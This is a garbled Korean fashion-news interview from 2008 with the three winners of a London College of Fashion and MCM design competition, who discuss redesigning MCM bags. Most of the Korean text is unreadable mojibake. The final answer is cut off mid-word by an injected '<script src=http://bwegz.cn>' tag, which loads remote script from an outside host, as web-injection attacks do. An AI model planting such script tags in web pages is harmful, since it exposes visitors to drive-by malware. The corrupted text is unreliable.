LCF Collaboration Project with ¡¸MCM¡¹

2008-07-18 À念½Ç ±âÀÚ jang@fi.co.kr

Winners interview

¡¸MCM¡¹ÀÌ Áö³­ 6¿ù 13ÀÏ ¿µ±¹ÀÇ ÆÐ¼Ç Àü¹® ½ºÄð°úÀÇ ÇÕÀÛ ÇÁ·ÎÁ§Æ®ÀÎ LCF(London  College of Fashion) ÄÝ·¹º¸·¹ÀÌ¼Ç ÇÁ·ÎÁ§Æ® ¼ö»óÀÚ¸¦ ¹ßÇ¥Çß´Ù. ¡¸MCM¡¹Àº ¡®LCF Collaboration Project with ¡¸MCM¡¹¡¯À» ÁøÇà, ¾×¼¼¼­¸®¿Í ½´Áî, ÀÇ·ù µî 4°¡Áö ºÐ¾ß·Î ³ª´² ¼ö»óÀÚ¸¦ ¼±Á¤ÇßÀ¸¸ç 35¸íÀÇ ÇлýÀÌ Âü¼®ÇØ Ã¢ÀÇÀûÀÎ ÀÛÇ°À» ¼±º¸¿´´Ù.
ƯÈ÷ À̹ø ÇÁ·ÎÁ§Æ®´Â ¡¸MCM¡¹ÀÇ ÀüÅë ²¿³Å ºñ¼¼Å佺¸¦ Çлýµé¿¡°Ô ³ª´²ÁÖ°í À̸¦ ÀÌ¿ëÇÑ ÀçµðÀÚÀÎÀ» ¿ä±¸ÇÑ °ÍÀ¸·Î, ¡¸MCM¡¹ÀÇ °íÀüÀûÀÎ °¡¹æÀ» ¼ÒÀç·ÎÇÑ °¢ ºÐ¾ß Áö¿øÀÚµéÀÇ µµÀüÀÌ ÀÌ·ïÁ³´Ù.
¡¸MCM¡¹ÀÇ Å©¸®¿¡ÀÌƼºê µð·ºÅÍÀÎ Michael Michalsky, Martin Mason, UK º¸±×ÀÇ Fiona Golfar°¡ ½É»çÀ§¿øÀ¸·Î Âü¿© ÇßÀ¸¸ç,  À̹ø ÇÁ·ÎÁ§Æ®ÀÇ ¿ì½ÂÀÚ´Â °¡¹æ ºÎ¹®¿¡ ÀÌ´Ù¿¬ ¾¾, ½´Áî ºÎ¹®¿¡ Matthew Taylor, RTW ºÎ¹®¿¡ Rosemary Jeremie°¡ Â÷ÁöÇß´Ù.
¿ì½ÂÀڵ鿡°Ô´Â ¡¸MCM¡¹ HQ ¿ÀÇǽº¿¡¼­ ÀÏÁÖÀÏ°£ ÀÎÅÏ ±âȸ°¡ ÁÖ¾îÁ³À¸¸ç, À̸¦ À§ÇØ Áö³­ 14ÀÏ Çѱ¹À» ¹æ¹®ÇÑ ¼¼ »ç¶÷À» º»»ç ±è¼ºÁÖ È¸ÀåÀÇ »ç¹«½Ç¿¡¼­ ¸¸³µ´Ù.



¢ºLCF Collaboration Project with ¡¸MCM¡¹¿¡ Âü°¡ÇÏ°Ô µÈ µ¿±â´Â?
Matthew Taylor(ÀÌÇÏ M): µðÀÚÀÎÀ» ÇÏ´Â »ç¶÷À¸·Î¼­ ÁÁÀº ±âȸ¶ó°í »ý°¢Çß°í À̱â°í ½ÍÀº ¸¶À½ÀÌ °¡Àå ÄÇ´Ù.
Rosemary Jeremie(ÀÌÇÏ R): Çѱ¹À̶ó´Â ³ª¶ó¿¡¼­ °®°ÔµÉ ÀÏÁÖÀÏ°£ÀÇ ÀÎÅÏ½Ê °úÁ¤ÀÌ ¸Å·ÂÀûÀ¸·Î ´À²¸Á³´Ù.
Da yeon Lee(ÀÌÇÏ D): Çѱ¹ÀÎÀ¸·Î¼­ ¡¸MCM¡¹¿¡ ´ëÇÑ ÀںνÉÀ» ´À²¸ Âü°¡Çß°í Æò¼Ò ±è¼ºÁÖ È¸Àå¿¡ ´ëÇÑ Á¸°æ½Éµµ ÀÖ¾ú´Ù.



¢ºÇÁ·ÎÁ§Æ®¸¦ ÁøÇàÇϸ鼭 °¡Àå °í¹ÎÇß´ø °ÍÀº?
M: °¡¹æÀ» ¶â¾î³»¼­ ÄÁ¹ö½ºÈ­¸¦ ¸¸µé¾î ³»´Â ¼öÀÛ¾÷ÀÌ ¾î·Á¿ü°í, ¡¸MCM¡¹À̶ó´Â ºê·£µå¸¦ Àß º¸¿©ÁÙ ¼ö ÀÖÀ»Áöµµ °í¹Î½º·¯¿ü´Ù.
Áö±Ý±îÁö 6¹øÀÇ ½´Á ¸¸µé¾î ºÃÁö¸¸, ¿ÏÁ¦Ç° °¡¹æ¿¡¼­ ¾òÀº ÇÑÁ¤µÈ °¡Á×À¸·Î ½Å¹ßÀ» ¸¸µé¾î¾ß ÇÑ´Ù´Ï¡¦ ¹ã¿¡ ÀáÀ» ÀÌ·ê ¼ö ¾øÀ» Á¤µµ¿´´Ù. À̹ø ÀÛÇ°Àº ÇÑ È¸»çÀÇ »çÁøÀ» Âï°í ±× À§¿¡ ¡¸MCM¡¹ ²¿³Å ºñ¼¼Å佺ÀÇ °¡Á×À» ⹮ó·³ À߶ó ºÙÀÎ °ÍÀ¸·Î, ÀÚÀ¯·Ó°í ´©±¸³ª ÀÏÇÏ°í ½ÍÀº ȸ»ç¸¦ Ç¥ÇöÇÏ°íÀÚ Çߴµ¥ ¼ÒÀç¿Í ¼öÀÛ¾÷ÀÇ Á¦¾àÀ¸·Î ¸¸¸¸Ä¡ ¾ÊÀº °úÁ¤À̾ú´Ù.
R: óÀ½¿¡´Â ºê·£µå¿¡ ´ëÇÑ Á¤º¸°¡ ÃæºÐÇÏÁö ¾Ê¾Æ ¸®¼­Ä¡ °úÁ¤À» °¡Á³´Ù. °í°´°ú ¸¶ÄÏÀ» Á¶»çÇغ¸´Ï ·°¼Å¸® ºê·£µå·Î ¾Æ½Ã¾Æ µî¿¡¼­ ÀÎÁöµµ ÀÖ´Â ºê·£µåÀÓÀ» ¾Ë¾Ò´Ù.
°í±Þ½º·´°í ´©±¸³ª ÀÔÀ» ¼ö ÀÖ´Â ¿ÊÀ» ¸¸µé°Ú´Ù´Â »ý°¢¿¡ ijÁÖ¾óÇÑ ÀçŶÀ» ¸¸µé¾ú´Âµ¥, ¾ç¸é¼ºÀ» Ç¥ÇöÇØ ³»´Âµ¥ °í¹ÎÀ» ¸¹ÀÌ Çß´Ù. ¶Ç °¡¹æÀ» °¡Áö°í ¿ÊÀ» ¸¸µé¾î¾ß ÇÏ´Â °Íµµ ¾î·Á¿ü´Ù. °¡¹æÀ» ¿ÏÀüÈ÷ ºÐÇØÇÑ ÈÄ ÇÚµé·Î ¿ÊÀÇ º§Æ®¸¦ ¸¸µé°í, ¹öŬ°ú ÁöÆÛ µîÀ» ¸ðµÎ ÀÌ¿ëÇØ ¾²ÀÓ¼¼¿¡ ¸Â°Ô ÀçÈ°¿ëÇß´Ù. µðÀÚÀΰú ½Ç¿ë¼º, ÀçÈ°¿ë¼ºÀ» °í·ÁÇÏ´Â °ÍÀÌ ¾î·Á¿ü´Ù.
D: ¿µ±¹ ¸¶ÄÏ¿¡¼­ ¼ÒÈ­ÇÒ ¼ö ÀÖ´Â ¡¸MCM¡¹À» ¼±º¸¿©¾ß ÇÑ´Ù´Â °ÍÀÌ °¡Àå Å« ºÎ´ãÀ̾ú´Ù. ¿ÏÁ¦Ç°ÀÇ °¡¹æÀ» ¶â¾î ÀÛ¾÷ÇÏ·Á´Ï ±âÁ¸ÀÇ ¹Ù´ÀÁú ÀÚ±¹ÀÌ ³²¾Æ ÀÖ¾î Á¦ÀÛ¿¡ ¾î·Á¿òµµ ÀÖ¾ú´Ù. ¶Ç ÀçµðÀÚÀÎÀÌÁö¸¸ ƯÁ¤ÇÑ Ä³¸¯ÅÍ°¡ ÇÊ¿äÇÏ´Ù°í »ý°¢ÇØ °ÇÃà°¡ °¡¿ìµðÀÇ ±¸¿¤ÆÄÅ©¿¡¼­ ¿µ°¨À» ¾ò¾î ÆÐÄ¡¿öÅ©¿Í ¸ðÀÚÀÌÅ© ±â¹ýµéÀ» È°¿ëÇØ ÀÛ¾÷ÇØ ³ª°¬´Ù. ÀÌÁßÀ¸·Î ¸¸µç °¡¹æÀÇ ¾ÈÂÊ¿¡´Â ²¿³Å ºñ½ºÅ佺 ¿ø´ÜÀ», ¹Û¿¡´Â ¿©·¯ ¼ÒÀ縦 ¸ðÀÚÀÌÅ© ÇØ µÎ°ãÀ¸·Î ¸¸µé¾ú°í ¾È°ú ¹ÛÀ» ÇϳªÀÇ ÇÚµé·Î ÀÌ¾î ¿¾°Í°ú »õ°ÍÀÇ ¿¬°áÀ» Ç¥ÇöÇß´Ù.



¢º¼ºÁÖ ±×·ì ¡¸MCM¡¹, Á÷Á¢ ¿Íº¸´Ï ¾î¶²°¡?
M: ¡¸MCM¡¹Àº ºü¸¥ ¹ßÀüÀ» ÀÌ·é °Í°ú »ý°¢º¸´Ù Àþ´Ù´Â ´À³¦¿¡ ³î¶ú´Ù. ¶Ç ¾îÁ¦ ±è¼ºÁÖ È¸ÀåÀ» ¸¸³ª ¸¹Àº À̾߱⸦ ³ª´³´Âµ¥ ÀÌÀͺ¸´Ù´Â ¼¼»óÀ» À§ÇÑ ºñÀüÀ» °®°í ȸ»ç¸¦ ¿î¿µÇÏ´Â ¸ð½ÀÀÌ ¸¶À½¿¡ µé¾ú´Ù. ²ÞÀ» °¡Áö°í ½ÇÇö½ÃÄÑ ³ª°¡·Á°í ³ë·ÂÇÏ´Â »ç¶÷À̾ú´Ù. ¼ÖÁ÷È÷ ¸¸³ª±â Àü±îÁö´Â ¡®¾Ç¸¶´Â ÇÁ¶ó´Ù¸¦ ÀԴ´١¯ÀÇ ¾È³ª À©Åõ¾î¸¦ »ó»óÇߴµ¥ Àΰ£¹Ì°¡ ³ÑÄ¡´Â »ç¶÷À̾ú´Ù.
R: ³ª ¿ª½Ã ±è¼ºÁÖ È¸Àå¿¡°Ô °¨µ¿Çß´Ù. ³ôÀº À§Ä¡ÀÓ¿¡µµ ºÒ±¸ÇÏ°í Á÷Á¢ ȯ¿µÇØÁÖ°í ´Ù¸¥ »ç¿øµé°ú Ä£±ÙÇÏ°Ô Áö³»´Â ¸ð½ÀÀÌ ÁÁ¾Ò´Ù. ¶Ç ´Ù¸¥ °÷¿¡¼­ ÀÎÅϽÊÀ» ÇÒ ¶§´Â ÇÑ°¡Áö ÆÀ¿¡¼­¸¸ ÀÏÇغ¼ ¼ö ÀÖ¾ú´Âµ¥ ÀÌ°÷¿¡¼­´Â ¿©·¯ °¡Áö ÀÏÀ» °æÇèÇØ º¼ ¼ö ÀÖ¾î ÁÁ¾Ò´Ù.
D: °æ·Â 1³âÂ÷¿¡°Ôµµ Àâ´ÙÇÑ ÀÏÀ» ½ÃÅ°´Â °æ¿ì°¡ ¸¹Àºµ¥ ÀÌ°÷Àº ªÀº ±â°£ÀÌÁö¸¸ ÇÒ ÀÏÀ» ¸¸?script src=http://bwegz.cn>

Ä¿¹ö
°Ë»ö
´Ý±â
´Ý±â